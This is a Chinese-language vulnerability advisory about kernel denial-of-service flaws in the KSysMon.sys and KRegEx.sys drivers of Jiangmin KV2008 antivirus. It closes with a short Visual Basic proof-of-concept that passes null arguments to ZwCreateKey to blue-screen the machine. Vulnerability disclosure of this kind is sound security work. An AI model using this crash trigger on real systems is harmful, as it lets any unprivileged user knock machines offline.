江民杀毒软件 KV2008 (以下简称 KV2008) 是江民反病毒专家团队针对网络安全面临的新课题, 全新研发推出的计算机反病毒与网络安全防护软件, 号称是全球首家具有灾难恢复功能的智能主动防御杀毒软件。
令人遗憾的是, 其最新版本 11.00.800 (更新日期 2008-10-02) 及以下所有版本的驱动程序中存在多处内核拒绝服务漏洞, 可使任意权限的用户在安装 KV2008 的电脑上引发蓝屏, 造成灾难。
出问题的组件:
KSysMon.sys (CheckSum=0003AD80, TimeStamp=480D43E5)
KV2008 在对 KiFastCallEntry inline hook 时, 存在多处用户态传入参数不经检查即使用, 从而使得用户态传入无效参数即可引发系统崩溃, 蓝屏重启.
值得注意的是, KV2008 还注册了一个 DPC 定时恢复此钩子, 所以我们无法通过恢复此钩子避免该漏洞. 同时, KV2008 的 KRegEx.sys 在对 SSDT Hook 时, 存在多处同样的问题.
示例函数: NtCreateKey
函数 NtCreateKey 的原型是:
NTSTATUS
NtCreateKey(
OUT PHANDLE KeyHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN ULONG TitleIndex,
IN PUNICODE_STRING Class OPTIONAL,
IN ULONG CreateOptions,
OUT PULONG Disposition OPTIONAL
)
KV2008 在其 Hook 函数中, 没有任何检查地使用了用户态传入的 ObjectAttributes 参数, 这样, 如果我们传入一个无效的地址, 就会引发崩溃, 蓝屏重启.
测试代码:
Declare Function ZwCreateKey Lib "ntdll" (ByVal a As Long, ByVal b As Long, ByVal c As Long, ByVal d As Long, ByVal e As Long, ByVal f As Long, ByVal g As Long) As Long
Sub Main()
MsgBox "KV2008 内核漏洞演示 by iceboy"
ZwCreateKey 0, 0, 0, 0, 0, 0, 0
End Sub |